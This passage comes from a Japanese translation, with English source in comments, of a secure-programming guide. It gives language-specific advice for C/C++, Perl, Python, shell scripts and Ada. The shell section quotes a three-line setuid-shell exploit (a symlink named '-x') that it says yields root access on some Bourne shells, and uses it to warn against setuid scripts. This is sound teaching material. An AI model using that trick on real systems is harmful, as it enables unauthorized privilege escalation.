Avoid dangerous and deprecated operations in the language.
By ``dangerous'', I mean operations which are difficult to use correctly.
For example, many languages include
some mechanisms or functions that are ``magical'', that
is, they try to infer the ``right'' thing to do using a heuristic -
generally you should avoid them, because an attacker may be able to
exploit the heuristic and do something dangerous instead of what was intended.
A common error is an ``off-by-one'' error, in which the bound is
off by one, and sometimes these result in exploitable errors.
In general, write code in a way that minimizes the likelihood of
off-by-one errors.
If there are standard conventions in the language (e.g., for writing loops),
use them.
-->
言語に含まれている危険で古臭い操作は避けてください。
「危険」とは、操作を正しく行うのが難しいものを指します。
たとえば、言語の多くには「不思議な」機構や機能があります。つまり、「正しい」
動作を推測して、試行錯誤して使用するものです。一般的にはこれらは避けるべき
です。攻撃者が試行錯誤してそれにつけこみ、予測できない何か危険なことができる
かもしれないからです。
よく起るエラーに、「オフ・バイ・ワン(off-by-one)」エラーがあります。
これは、境界値が 1 つずれることで、結果的にエラーとなる脆弱性です。
普通、オフ・バイ・ワンエラーの発生が最小限になるようにコードを書いてください。
言語に標準規約があるなら(たとえば、ループの書き方)、それに従ってください。
</para></listitem>

<listitem><para>
<!--
Ensure that the languages'
infrastructure (e.g., run-time library) is available and secured.
-->
言語の基盤となる部分(たとえば、ランタイム・ライブラリ)が利用でき、
それが安全であるかを確認してください。
</para></listitem>

<listitem><para>
<!--
Languages that automatically garbage-collect strings should be
especially careful to immediately erase secret data
(in particular secret keys and passwords).
-->
文字列のガーベジ・コレクションを自動的に行う言語において、機密データ(特に
秘密鍵やパスワード)を慎重にすぐ削除してください。
</para></listitem>

<listitem><para>
<!--
Know precisely the semantics of the operations that you are using.
Look up each operation's semantics in its documentation.
Do not ignore return values unless you're sure they cannot be relevant.
Don't ignore the difference between ``signed'' and ``unsigned'' values.
This is particularly difficult in languages which don't support exceptions,
like C, but that's the way it goes.
-->
自分が使用している操作方法を正確に理解しておいてください。
ドキュメントにある操作方法それぞれを調べてください。
関連する可能性がないと確認できない限り、返り値は無視しないでください。
「signed」の値と「unsigned」の値の違いを無視しないでください。
例外をサポートしていない C のような言語では特に困難ですが、方法はあります。
</para></listitem>
</itemizedlist>
</para>

<sect1 id="c-cpp">
<!-- <title>C/C++</title> -->
<title>C と C++</title>
<para>
<!--
One of the biggest security problems with C and C++ programs is
buffer overflow; see <xref linkend="buffer-overflow">
for more information.
C has the additional weakness of not supporting exceptions, which makes
it easy to write programs that ignore critical error situations.
-->
C と C++ プログラムに存在する最大のセキュリティ上の問題の 1 つは、バッファ
オーバーフローです。詳しくは <xref linkend="buffer-overflow"> を見てください。
C はさらに例外をサポートしていないという弱点を持っていて、重大なエラーを
無視して、安直にプログラムをコーディングできます。
</para>

<para>
<!--
Another problem with C and C++ is that developers have to do their
own memory management (e.g., using malloc(), alloc(), free(), new, and free),
and failing to do it correctly may result in a security flaw.
The more serious problem is that programs may erroneously
free memory that should not be freed
(or use the incorrect call if using C++ and mixing malloc() and new requests).
This can cause an immediate crash on some systems in some cases,
such as GNU/Linux systems, and in some cases may be exploitable
by an attacker to cause arbitrary code to be executed.
For example, on March 11, 2001, it was announced that the zlib
library had this problem, affecting the many programs that use it.
-->
C や C++ には他にも問題があります。それは、開発者が自分でメモリ管理をしな
ければならない点です(たとえば、malloc()や alloc()、free()、new、free)。
メモリ管理に失敗すると、結果としてセキュリティ上の弱点になるかもしれません。
もっと深刻な問題は、プログラムが開放してはいけないメモリを間違って開放できる
点です(つまり、C++ で malloc() と new 命令を混ぜて使うと、不正な命令を利用
していることになります)。
こうなると、場合によっては GNU/Linux システムのように、すぐクラッシュする
ケースもあります。またあるケースでは攻撃者がそこにつけ込んで、勝手にコード
を実行させてしまうかもしれません。
たとえば、2001 年 3 月 11 日に zlib ライブラリでこの問題が発生していると
アナウンスされ、それを使っている多くのプログラムが影響を受けました。
<!-- 原文でコメントアウトしてあるので訳出しません。 -->
<!-- http://www.linuxsecurity.com/articles/security_sources_article-4582.html -->
<!--
Thus, when testing programs on GNU/Linux,
you should set the environment variable
MALLOC_CHECK_ to 1 or 2, and you might consider executing your program
with that environment variable set with 0, 1, 2.
The reason for this variable is explained in GNU/Linux malloc(3) man page:
-->
したがって、GNU/Linux 上でプログラムをテストする時には、MALLOC_CHECK_ 環境
変数に 1 もしくは 2 を設定すべきです。そして、自分のプログラムを実行するの
に当たっては、0、1、2 いずれかに設定するのを検討してもよいと思います。
この設定をする理由については、GNU/Linux の malloc(3) に説明があります。
<blockquote>
<para>
<!--
Recent versions of Linux libc (later than 5.4.23) and
GNU libc (2.x) include a malloc implementation which is tunable
via environment variables.
When MALLOC_CHECK_ is set, a special (less efficient) implementation
is used which is designed to be tolerant against simple errors,
such as double calls of free() with the same argument,
or overruns of a single byte (off-by-one bugs).
Not all such errors can be proteced against, however, and memory leaks
can result.
If MALLOC_CHECK_ is set to 0, any detected heap corruption
is silently ignored;
if set to 1, a diagnostic is printed on stderr;
if set to 2, abort() is called immediately.
This can be useful because otherwise a crash may happen much later,
and the true cause for the problem is then very hard to track down. 
-->
最近のバージョンの Linux libc(5.4.23 以降)と GNU libc(2.x)では、 malloc 
の動作が、環境変数によって調整できる実装になっています。 MALLOC_CHECK_ 
が設定されていると、専用の(非効率な)実装が用いられて、 単純なエラーには耐え
られるようになります。単純なエラーとは、free()を同じ引き数で 2 度呼び出して
しまったり、 1 バイトだけ余計に取ったり(オフ・バイ・ワンのバグ)する等です。
しかし、これらのエラーすべてを防げるわけではなく、その場合にはメモリリーク
が発生します。 MALLOC_CHECK_ を 0 に設定すると、ヒープの破壊に対して
警告を出さずに、そのままにしておきます。1 に設定すると、診断メッセージが
標準エラー出力に表示されます。 2 に設定すると、ただちに abort() が呼び
出されます。
プロセスが実際にクラッシュするのがずっと後になり、クラッシュした時点で
本当の原因を探し出すのが非常に困難な場合には、これが役立ちます。

</para>
</blockquote>
<!--
If unused memory is not free'd, (e.g., using free()), that unused memory
may accumulate - and if enough unused memory can accumulate, the
program may stop working.
As a result, the unused memory may be exploitable by attackers to
create a denial of service.
It's theoretically possible for attackers to cause memory to be
fragmented and cause a denial of service, but usually this
is a fairly impractical and low-risk attack.
-->
未使用のメモリを開放しないと(たとえば、free()を使って)、未使用のメモリ
がたまってしまいます。未使用のメモリがたまり過ぎると、プログラムが動作
停止してしまうかもしれません。
未使用のメモリが攻撃者に利用され、サービス拒否を起こす結果になる可能性も
あります。
理屈上では、攻撃者がメモリをフラグメント化して、サービス拒否を起こせます。
しかし普通これはかなり非現実的で、攻撃としては危険性が低くなります。
</para>

<para>
<!--
Be as strict as you reasonably can when you declare types.
Where you can, use ``enum'' to define enumerated values (and not
just a ``char'' or ``int'' with special values).
This is particularly useful for values in switch statements, where
the compiler can be used to determine if all legal values have been covered.
Where it's appropriate, use ``unsigned'' types if the value can't be
negative.
-->
型宣言をする時にはできるだけ厳密にしてください。
利用できるなら「enum」を使って、列挙型の値を定義してください(特別な値を
持った「char」や「int」を使うのではなく)。
enum は特に switch 文の値で役に立ちます。コンパイラが、正しい値を適用している
かどうかを判定してくれます。
値が負にならなければ、「unsigned」を使用するのが適切です。
</para>

<para>
<!-- 原文でコメントアウトしてあるので訳出しません。 -->
<!-- The example is from Sebastian (Bugtraq, 26 June 2000) -->
<!--
One complication in C and C++ is that the character type ``char'' can be
signed or unsigned (depending on the compiler and machine).
When a signed char with its high bit set
is saved in an integer, the result will be a negative number;
in some cases this can be exploitable.
In general, use ``unsigned char'' instead of char or signed char for
buffers, pointers, and casts when
dealing with character data that may have values greater than 127 (0x7f).
-->
C や C++ でやっかいなのは、文字型である「char」が signed もしくは unsigned 
どちらにもなる点です(コンパイラやマシンによって違います)。
signed char にハイビットを設定し、整数として保存すると負になります。
これが脆弱性になるケースがあります。
一般的には、char や signed char のかわりに「unsigned char」を使って、
バッファやポインタに利用してください。そして、127(0x7f)以上の値になるかも
しれない文字データを扱うなら、キャストしてください。
</para>

<para>
<!--
C and C++ are by definition rather lax in their type-checking support, but
you can at least increase their level of checking so that some mistakes
can be detected automatically.
Turn on as many compiler warnings as you can and change the code to cleanly
compile with them, and strictly use ANSI prototypes in separate header
(.h) files to ensure that all function calls use the correct types.
For C or C++ compilations using gcc, use at least
the following as compilation flags (which turn on a host of warning messages)
and try to eliminate all warnings (note that -O2 is used since some
warnings can only be detected by the data flow analysis performed at
higher optimization levels):
-->
C と C++ における型チェックのサポートは明らかにいい加減です。しかし、少なく
ともチェックのレベルを上げれば、間違いのいくつかは自動的に検知できます。
コンパイラの警告をできるだけ有効にしてコードを修正し、警告が何も出ないように
コンパイルしてください。必ず ANSI のプロトタイプ宣言を独立したヘッダファイル
(.h)に入れて利用し、関数呼び出しすべてが必ず正確な型になっているようにして
ください。
gcc を使って C や C++ をコンパイルするなら、コンパイル時のフラグとして、少なく
とも下記を設定してください(たくさんの警告メッセージが有効になります)。また、
警告はすべて取り除くようにしてください(警告には、データフロー分析を行って、
高レベルの最適化を図った時にだけ検知されるものがあります。その場合、-O2 が
使われていることを覚えておいてください)。
<screen width="61">
gcc -Wall -Wpointer-arith -Wstrict-prototypes -O2
</screen>
<!-- You might want ``-W -pedantic'' too.  -->
「-W -pedantic」としてもよいと思います。
</para>

<para>
<!--
Many C/C++ compilers can detect inaccurate format strings.
For example,
gcc can warn about inaccurate format strings for functions you create
if you use its __attribute__() facility (a C extension) to mark such functions,
and you can use that facility without making your code non-portable.
Here is an example of what you'd put in your header (.h) file:
-->
C や C++ コンパイラが、不正な書式文字列を検出できるケースが多々あります。
たとえば gcc では、__attribute__()機能(C 拡張機能の 1 つ)を使って、不正な
書式文字列への警告が可能になり、該当する関数に印をつけます。また、この機能
を使ったとしても、コードの互換性は無くなりません。
ここでは、ヘッダファイル(.h)に何を入れるのかの例を挙げておきます。
<programlisting width="61">
 /* in header.h */
 #ifndef __GNUC__
 #  define __attribute__(x) /*nothing*/
 #endif

 extern void logprintf(const char *format, ...)
    __attribute__((format(printf,1,2)));
 extern void logprintva(const char *format, va_list args)
    __attribute__((format(printf,1,0)));
</programlisting>
<!--
The "format" attribute takes either "printf" or "scanf", and the numbers
that follow are the parameter number of the format string and the first
variadic parameter (respectively). The GNU docs talk about this well.
Note that there are other __attribute__ facilities as well,
such as "noreturn" and "const".
-->
「format」属性は、「printf」と「scanf」で利用できます。その後に続く数字は
書式文字列のパラメタ数と最初の可変引数パラメタ(個々に)です。
この点については、GNU のドキュメントで解りやすく解説しています。
他の機能として、__attribute__ には「noreturn」や「const」等があります。
<!-- 原文でコメントアウトしてあるので訳出しません。 -->
<!-- The __attribute__ discussion
     Derived from "Stephen J. Friedl", Sat, 22 Jul 2000 16:21:08 -0700,
     Bugtraq -->
</para>

<para>
<!--
Avoid common errors made by C/C++ developers.
For example, be careful about not using ``='' when you mean ``==''.
-->
C や C++ の開発者がよく起こすエラーを無くしましょう。
たとえば、「==」を使うつもりで「=」を使わないよう、注意してください。
</para>


</sect1>

<sect1 id="perl">
<!--
-->
<title>Perl</title>
<para>
<!--
Perl programmers should first read the man page perlsec(1), 
which describes a number of issues involved with writing secure programs
in Perl.
In particular, perlsec(1) describes the ``taint'' mode, which most
secure Perl programs should use.
Taint mode is automatically enabled if the real and effective user or group
IDs differ, or you can use the -T command line flag
(use the latter if you're running on behalf of someone else, e.g.,
a CGI script).
Taint mode turns on various checks, such as checking
path directories to make sure they aren't writable by others.
-->
Perl プログラマは、まず perlsec(1)を読んだ方が良いでしょう。この man には
安全が求められる Perl プログラムの書き方に関して、課題がたくさん載っています。
特に perlsec(1)では、「汚染(taint)」モードについて説明しています。安全性が
必要なプログラムは、このモードを使用すべきです。
実もしくは実効ユーザ id やグループ id が違っていれば、自動的に汚染モードが有効
になります。もしくは、-T をコマンドラインに指定して有効にできます(たとえば 
CGI スクリプトのように、誰かの代わりに実行するなら、後者を使ってください)。
汚染モードは、さまざまなチェックを有効にします。たとえば、ディレクトリのパス
のチェックをして、他のユーザが書き込めないようになっているかをチェックします。
</para>

<para>
<!--
The most obvious affect of taint mode, however, is that
you may not use data derived from outside your program to
affect something else outside your program by accident.
In taint mode,
all externally-obtained input is marked as ``tainted'', including
command line arguments, environment variables,
locale information (see perllocale(1)),
results of certain system calls (readdir, readlink,
the gecos field of getpw* calls), and all file input.
Tainted data may not be
used directly or indirectly in any command that invokes a
sub-shell, nor in any command that modifies files,
directories, or processes.
There is one important exception: If you
pass a list of arguments to either system or exec, the
elements of that list are NOT checked for taintedness, so
be especially careful with system or exec while in taint mode.
-->
しかし、汚染モードの効果が最もはっきり現れるのは、誤ってプログラム外の何か
に影響を与えてしまわないように、プログラム外部からくるデータを使わない方が
良い場合です。
汚染モードでは、外部から得た入力は「汚染された」ものとして印が付けられます。
外部からの入力には、コマンドラインの引数や環境変数、ロカール情報(perllocale(1)
参照)、システムコールの結果(readdir や readlink、getpw* の gecos フィールドの
呼出し)、ファイル入力すべてがこれに該当します。
汚染されたデータは直接利用されません。また、間接的にサブシェルから呼び出す
コマンドも利用しません。ファイルやディレクトリ、プロセスを修正するコマンド
でも利用しません。
重要な例外が 1 つあります。引数リストを system もしくは exec に渡す場合、
リスト要素には汚染度チェックが働きません。したがって、汚染モードでの system 
や exec には特に注意を払ってください。
</para>

<para>
<!--
Any data value derived from tainted data becomes tainted also.
There is one exception to this; the way to untaint data is to
extract a substring of the tainted data.
Don't just use ``.*'' blindly as your substring, though, since this
would defeat the tainting mechanism's protections.
Instead, identify patterns that identify the ``safe'' pattern
allowed by your program, and use them to extract ``good'' values.
After extracting the value, you may still need to check it
(in particular for its length).
-->
汚染されたデータから派生したデータ値はどれも汚れています。
例外が 1 つあります。データをきれいするには、汚染されたデータの部分
文字列を抜き出します。
ただ、部分文字列としてむやみに「.*」を使わないようにしてください。
汚染を防ぐ仕組みを台無しにしてしまいます。
そのかわりに、プログラムが許容する「安全な」パタンを識別するパタンを
使って、「有効な」値を取り出して下さい。
値を取り出した後も、その値をチェックする必要があります(特に長さ)。
</para>

<para>
<!--
The open, glob, and backtick functions
call the shell to expand filename wild card characters; this
can be used to open security holes.
You can try to avoid these functions entirely, or use them in a
less-privileged ``sandbox'' as described in perlsec(1).
In particular, backticks should be rewritten using the system() call
(or even better, changed entirely to something safer).
-->
open や glob、backtick 関数はシェルを呼んで、ファイル名に含まれるワイルド
カード文字を展開します。これがセキュリティホールを開けるのによく使われます。
これらの関数をまったく止めるようにするか、perlsec(1)にあるように、より
特権を少なくした「サンドボックス」を使用するようにしてください。
特に backtick については、system()を呼び出すように書き直してください(もしく
は完全に書き直して、より安全なものに変更してください)。
</para>

<para>
<!--
The perl open() function comes with, frankly, 
``way too much magic'' for most secure programs; it interprets text
that, if not carefully filtered, can create lots of security problems.
Before writing code to open or lock a file, consult the perlopentut(1)
man page.
In most cases, sysopen() provides a safer (though more convoluted)
approach to opening a file.
<ulink
url="http://www.xray.mpe.mpg.de/mailing-lists/perl5-porters/2000-03/msg02596.html">
The new Perl 5.6 adds an open() call
with 3 parameters to turn off the magic behavior
without requiring the convolutions of sysopen()</ulink>.
-->
率直に言えば、Perl の open()関数は、安全が求められるプログラムにとっては
「何でそうなるのかな？」状態です。open()はテキストを解釈しますが、念入りに
フィルタをかけないと、セキュリティ上の問題がたくさん起こってしまいます。
ファイルをオープンしたり、ロックしたりするコードを書く前に、perlopentut(1)
を調べてください。
たいていの場合、sysopen()はファイルをオープンするに当たって、さらに安全な方法
(さらに複雑ですが)を提供しています。
<ulink
url="http://www.xray.mpe.mpg.de/mailing-lists/perl5-porters/2000-03/msg02596.html">
新しい Perl 5.6 では、open() の呼び出しにさらに 3 つのパラメタを用意して、
sysopen()の複雑さを排し、解りにくい動作を無効にしました。</ulink>
</para>

<para>
<!--
Perl programs should turn on the warning flag (-w), which warns of
potentially dangerous or obsolete statements.
-->
Perl プログラムは警告フラグ(-w)を有効にすべきです。これで潜在的に危険であった
り、古臭い式に警告を出せます。
</para>

<para>
<!--
You can also run Perl programs in a restricted environment.
For more information see the ``Safe'' module in the standard Perl
distribution.
I'm uncertain of the amount of auditing that this has undergone,
so beware of depending on this for security.
You might also investigate the ``Penguin Model for
Secure Distributed Internet Scripting'', though at the time
of this writing the code and documentation seems to be unavailable.
-->
Perl プログラムは、制限をかけた環境でも動かせます。
さらに詳しい情報は、Perl の標準配布物に入っている「Safe」モジュール
を見てください。
このモジュールがどの程度監査してくれるか定かではありませんので、これに
セキュリティ上の信頼を寄せるのは注意してください。
「Penguin Model for Secure Distributed Internet Scripting」を詳しく
調べてもよいでしょう。このドキュメントを書いている時点では、まだ
コードもドキュメントも利用できないようですが。
【訳註：Penguin Model for Secure Distributed Internet Scripting は
<ulink 
url="http://www.hpcf.upr.edu/~humberto/documents/penguin-safe-scripting.html">
http://www.hpcf.upr.edu/~humberto/documents/penguin-safe-scripting.html</ulink> 

を参照してください】
<!-- 原文でコメントアウトしてあるので訳出しません。 -->
<!-- Search for Penguin FAQ, the Penguin Model for Secure Distributed
  Internet Scripting -->
</para>
</sect1>

<sect1 id="python">
<title>Python</title>
<para>
<!--
As with any language,
beware of any functions which allow data to be executed as parts of
a program, to make sure an untrusted user can't affect their input.
This includes exec(), eval(), and execfile()
(and frankly, you should check carefully any call to compile()).
The input() statement is also surprisingly dangerous.
[Watters 1996, 150].
-->
他の言語と同じく、データがプログラムの一部として実行できる関数には、注意
が必要です。信頼できないユーザが、入力に影響を絶対与えないようにしてください。
exec() や eval()、execfile()がこれに該当します(率直に言って、compile()を
呼び出すものすべてに対して、注意深くチェックすべきです)。
意外なことに、input()式は危険です[Watters 1996, 150]。

</para>

<para>
<!--
Python programs with privileges that can be invoked by unprivileged users
(e.g., setuid/setgid programs)
must <emphasis>not</emphasis> import the ``user'' module.
The user module causes the pythonrc.py file to be read and executed.
Since this file would be under the control of an untrusted user,
importing the user module allows an attacker to force the trusted
program to run arbitrary code.
-->
Python プログラム(setuid や setgid したプログラム)で、特権を持たないユーザが
実行した、特権がついているプログラムには、「ユーザ」モジュールをインポート
しては<emphasis>いけません</emphasis>。
ユーザモジュールのせいで、pythonrc.py が読まれたり、実行されたりします。
このファイルを信頼できないユーザがコントロールすると、攻撃者がユーザ
モジュールを利用して、信頼できるプログラムに対して、強制的に勝手なコードを
実行させられます。

</para>

<para>
<!--
Python does very little compile-time checking &#045;&#045; it has essentially
no compile-time type information, and it doesn't even check that the
number of parameters passed are legal for a given function or method.
This is unfortunate, resulting in a lot of latent bugs
(both John Viega and I have experienced this problem).
Hopefully someday Python will implement optional static typing and
type-checking, an idea that's been discussed for some time.
A partial solution for now is PyChecker, a lint-like program that
checks for common bugs in Python source code.
You can get PyChecker from
<ulink url="http://pychecker.sourceforge.net">http://pychecker.sourceforge.net</ulink>
-->
Python は、ほとんどコンパイル時にチェックを行いません。基本的にコンパイル時
に型情報は存在しません。関数やメソッドに渡るパラメタの数が適正であるかの
チェックすらありません。
これが、潜在的バグをたくさん抱える、という残念な結果を生みます(John Viega 氏と
私は、この問題に遭遇しました)。
うまくいけば、いつの日か、Python はオプションとして静的な型付けと型チェックを
選択できるようになるでしょう。この点についてはかねてから議論されてきました。
現状は不完全ながら PyChecker という解決策があります。PyChecker は lint ライク
なプログラムで、Python のソースコードによくでるバグをチェックします。
PyChecker は
<ulink url="http://pychecker.sourceforge.net">http://pychecker.sourceforge.net</ulink>
で取得できます。
</para>

<para>
<!--
Python includes support for ``Restricted Execution'' through
its RExec class.
This is primarily intended for executing applets and mobile code, but
it can also be used to limit privilege in a program even when the
code has not been provided externally.
By default, a restricted execution
environment permits reading (but not writing) of files,
and does not include operations for network access or GUI interaction.
These defaults can be changed, but beware of creating loopholes in
the restricted environment.
In particular, allowing a user to unrestrictedly add attributes to a
class permits all sorts of ways to subvert the environment
because Python's implementation calls many ``hidden'' methods.
Note that, by default, most Python objects are passed by reference; if you
insert a reference to a mutable value into a restricted program's environment,
the restricted program can change the object in a way that's visible
outside the restricted environment!
Thus, if you want to give access to a mutable value, in many cases
you should copy the mutable value or use the Bastion module (which supports
restricted access to another object).
For more information, see
Kuchling [2000].
I'm uncertain of the amount of auditing that the restricted
execution capability has undergone, so programmer beware.
-->
Python では RExec クラスで「実行に制限をかける」機能がサポートされています。
この機能の主目的は、アプレットやモバイル・コードの実行にあります。しかし、
外部からコードが渡らなくても、プログラムの特権に制限を設ける場合にも
利用できます。
実行に制限をかける環境では、ファイルの読み込みは、デフォルトで許可しています
(書き込みは許可していません)。ネットワークへアクセスする操作や GUI による
やりとりはできません。
デフォルトは変更可能ですが、制限をかけた環境で、抜け穴(loophole)ができない
ように注意してください。
特にユーザに対して、自由にクラスへ属性を追加できるようにすると、幾通りもの
方法で環境を破壊できます。というのは、Python は「見えない」メソッドを多量に
呼び出して実行しているからです。
デフォルトでは、Python のオブジェクトはほとんど参照渡しです。制限をかけた
プログラム環境にあっても、mutable(変更可能)な値に対する参照を入れ込むと、
制限をかけたプログラムでも、ある程度オブジェクトが変更できます。つまり
制限をかけた環境の外から見えてしまいます。
つまり mutable な値にアクセスしたいなら、mutable な値をコピーするか、
Bastion モジュール(別オブジェクトへの制限をサポート)を使用してください。
詳しい情報は、Kuchling [2000]を見てください。
制限をかけた環境を実現する機能が、どの程度監査を施すのかは定かではありません
ので、プログラマの皆さんは注意してください。
</para>

</sect1>

<sect1 id="shell">
<!-- <title>Shell Scripting Languages (sh and csh Derivatives)</title> -->
<title>シェルスクリプト言語(sh と csh 系)</title>
<para>
<!--
I strongly recommend against using
standard command shell scripting languages (such as csh, sh, and bash)
for setuid/setgid secure code.
Some systems (such as Linux) completely disable setuid/setgid
shell scripts, so creating setuid/setgid shell scripts creates
an unnecessary portability problem.
On some old systems they are fundamentally insecure due to a race condition
(as discussed in <xref linkend="process-creation">).
Even for other systems, they're not really a good idea.
-->
setuid もしくは setgid した安全が求められるコードには、標準的なコマンドシェル
のスクリプト言語(csh や sh、bash のような)を採用しないよう、強く推奨します。
システムには(Linux のような)、setuid や setgid したシェルスクリプトを完全に
無効にしているものもあり、setuid や setgid したシェルスクリプトを作成すると、
移植性の問題がさらに発生します。
古いシステムでは、そもそもシェルスクリプト言語は安全ではありません。それは
競合状態を起こすからです(<xref linkend="process-creation"> で論じたように)。
その他のシステムにとっても、あまり良いとはいえません。
</para>

<para>
<!--
In fact, there are a vast number of circumstances where shell scripting
languages shouldn't be used at all for secure programs.
Standard command shells are notorious for being affected by nonobvious inputs -
generally because command shells were designed to try to do
things ``automatically'' for an interactive user, not to defend against
a determined attacker.
Shell programs are fine for programs that don't need to be secure
(e.g., they run at the same privilege as the unprivileged
user and don't accept ``untrusted'' data).
They can also be useful when they're running with privilege, as long as
all the input (e.g., files, directories, command line, environment, etc.)
are all from trusted users - which is why they're
often used quite successfully in startup/shutdown scripts.
-->
実際のケースでは、シェルスクリプト言語を安全が要求されるプログラムに使うべき
ではない場合がよくあります。
標準的なコマンドシェルは、あいまいな入力に左右されてしまうのは周知の事実です。
普通コマンドシェルは、対話的に利用してるユーザに対して、「自動的に」
動作するように設計してあります。したがって、クラックする決意を持った人間には
対抗できません。
シェルプログラムは、安全にする必要が求められないプログラムにとっては、
素晴らしいプログラムです(たとえば、特権を持たないユーザと同じ権限で実行でき
ますし、「信頼できない」データも受けつけません)。
また、入力すべて(たとえば、ファイルやディレクトリ、コマンドライン、環境
変数他)が、信頼できるユーザからのものである限り、特権を持って動作するのには
好都合です。起動時や終了時のスクリプトに非常に良く採用されているのはこのため
です。
</para>

<para>
<!--
Writing secure shell programs in the presence of malicious
input is harder than in many other languages because
of all the things that shells are affected by.
For example,
``hidden'' environment variables (e.g., the ENV, BASH_ENV, and IFS values)
can affect how they operate or even execute arbitrary user-defined
code before the script can even execute.
Even things like filenames of the executable or directory contents can
affect execution.
If an attacker can create filenames containing
some control characters (e.g., newline),
or whitespace, or shell metacharacters, or begin with a dash
(the option flag syntax), there are often ways to exploit them.
For example, on many Bourne shell implementations, doing the following
will grant root access (thanks to NCSA for describing this
exploit):
-->
悪意ある入力が存在する状況で、安全なシェルプログラムを作成するのは、
他の言語に比べて困難です。理由は、シェルはすべてから影響を受けるからです。
たとえば、「見えない」環境変数(たとえば、ENV や BASH_ENV、IFS の値)は、
操作方法に影響しますし、スクリプトが実行される前に、ユーザが定義した任意の
コードを実行することさえ可能です。
実行ファイル名やディレクトリの中身のようなものでさえ、実行に影響します。
攻撃者が制御文字(たとえば改行)や空白、シェルのメタキャラクタ、ダッシュ
(オプションを示すフラグ)ではじまるファイル名を作れると、それがつけ込む隙を
与えることになります。
たとえば、Bourne シェルの実装の多くは、下記のコードを実行すると、root で
のアクセスを認めてしまいます(この脆弱性を提示してくれた NCSA に感謝します)。
<!-- 原文でコメントアウトしてあるので訳出しません。 -->
<!-- http://www.ncsa.uiuc.edu/General/Grid/ACES/security/programming/#setuid-sh-exploit -->
<programlisting width="61">
 % ln -s /usr/bin/setuid-shell /tmp/-x
 % cd /tmp
 % -x
</programlisting>
<!--
Some systems may have closed this hole, but the point still stands:
most command shells aren't intended for writing secure setuid/setgid programs.
For programming purposes, avoid creating setuid shell scripts, even
on those systems that permit them.
Instead, write a small program in another language to clean up the
environment, then have it call other executables (some of which
might be shell scripts).
-->
システムによってはこの穴を塞いでいるものもありますが、問題が解決した訳では
ありません。コマンドシェルの大部分が、安全に setuid や setgid したプログラム
を書くようにはできていないからです。
プログラムの目的として、setuid したシェルスクリプトの作成は避けてください。
システムが setuid したシェルスクリプトを許していてもです。
そのかわりに、別の言語で小さなプログラムを作成して、環境をクリアにしてから、
他の実行形式(シェルスクリプトであるかもしれません)を呼ぶようにしましょう。
</para>

<para>
<!--
If you still insist on using shell scripting languages, at least
put the script in a directory where it cannot be moved or changed.
Set PATH and IFS to known values very early in your script; indeed, the
environment should be cleaned before the script is called.
Also, very early on, ``cd'' to a safe directory.
Use data only from directories that is controlled by trusted users, e.g., /etc,
so that attackers can't insert maliciously-named files into those directories.
Be sure to quote every filename passed on a command line, e.g., use
"$1" not $1, because filenames with whitespace will be split.
Call commands using "&#045;&#045;" to disable additional options where you can,
because attackers may create or pass filenames beginning with dash in the
hope of tricking the program into processing it as an option.
Examine input filenames especially carefully and be very restrictive
on what filenames are permitted.
-->
それでもシェルスクリプト言語の利用にこだわるなら、少なくとも移動もしくは
変更できないディレクトリにスクリプトを置いてください。
PATH と IFS には、スクリプトの最初の方で既知の値を設定してください。実際、
環境はスクリプトが呼ばれる以前に整えておくべきです。
また最初の方で「cd」して、安全なディレクトリに移動しておいてください。
データを使うなら /etc のような、信頼できるユーザが制御しているディレクトリ
からのデータにしてください。攻撃者は、そのようなディレクトリに、悪意を持って
名付けたファイルは入れられませんので。 ファイル名はすべて必ず引用符で囲んで
コマンドラインに渡してください。たとえば、$1 ではなく "$1" のように。理由は、
空白が入ったファイル名が分割されてしまうからです。
「&#045;&#045;」を使ってコマンドを呼び出し、オプションがさらに追加できない
ようにしてください。攻撃者がダッシュではじまるファイル名を作成したり、渡して
きたりして、プログラムをひっかけてオプションであるかのごとく処理させようと
するかもしれないからです。
入力ファイル名を注意深く調べ、許可するファイル名には制限をきつくかけて
ください。
</para>

<para>
<!--
In a similar vein, I recommend <emphasis>not</emphasis> trusting
``restricted shells'' to implement secure policies.
Restricted shells are shells that intentionally prevent users from
performing a large set of activities - their goal is to force users
to only run a small set of programs.
A restricted shell can be useful as a defense-in-depth measure, but
restricted shells are notoriously hard to configure correctly and as
configured are often subvertable.
For example, some restricted shells will start by running some file
in an unrestricted mode (e.g., ``.profile'') - if a user can change this
file, they can force execution of that code.
A restricted shell should be set up to only run a few programs, but
if any of those programs have ``shell escapes'' to let users run more
programs, attackers can use those shell escapes to escape the
restricted shell.
Of course, if you don't set the PATH of a restricted shell (and allow
any program to run), then an attacker can use the shell escapes of
many programs (including text editors, mailers, etc.).
The problem is that the purpose of a shell is to run other programs,
but those other programs may allow unintended operations &#045;&#045; and the
shell doesn't interpose itself to prevent these operations.
-->
同じ意味合いで、安全なポリシを実装している「制限付きのシェル(restricted 
shell)」を信頼するのは、お薦め<emphasis>できません</emphasis>。
制限付きのシェルは、あえてユーザにさまざまな処理を実行できないようにする
シェルです。目的は、ユーザにごく限られたプログラムだけを動作させることです。
制限付きシェルは、念には念を入れる手段としては有効ですが、正確に設定できない
のは有名で、設定してもよく破られてしまいます。
たとえば制限付きシェルには、ファイル(たとえば、「.profile」)に制限をかけない
状態で実行してから、動作するものがあります。
ユーザがこのファイルを変更できれば、そのコードを実行させてしまいます。
制限付きシェルは、限られた少数のプログラムだけを実行するように設定するべき
です。しかし、それらのプログラムのどれかが「シェルエスケープ」を使って、
ユーザがさらにプログラムを動かせるようになっていれば、攻撃者はそのシェル
エスケープを利用して制限付きシェルを回避してしまいます。
もちろん、制限付きシェルの PATH を設定していなければ(どんなプログラムの動作
も許可)、攻撃者はプログラムの多くでシェルエスケープを利用できます(テキスト
エディタや メールリーダー等)。
問題は、シェルの目的がそもそも他のプログラムの実行にある点です。他のプログラム
が、望んでいない操作を認めているかもしれません。シェルは、これらの操作の防止
には介入しません。
</para>
</sect1>

<sect1 id="ada">
<title>Ada</title>
<para>
<!--
In Ada95, the Unbounded_String type is often more flexible than the
String type because it is automatically resized as necessary.
However, don't store especially sensitive values such as passwords
or secret keys in an Unbounded_String, since core dumps and page areas
might still hold them later.
Instead, use the String type for this data and overwrite the data as
soon as possible with some constant value such as others => ' '.
-->
Ada95 では、Unbounded_String 型の方が、String 型よりも柔軟であるケースが多い
です。
理由は、必要に応じて自動的にサイズが変わるためです。
しかし、パスワードや秘密鍵のような機密の値を Unbounded_String には入れないで
ください。コアダンプやページエリアにそれらの値が後々まで残ってしまっている
かもしれないからです。
そういう場合には、String 型を使って、others => ' ' のように、定数ですぐに
上書きしてください。
</para>
</sect1>

<sect1 id="java">
<title>Java</title>
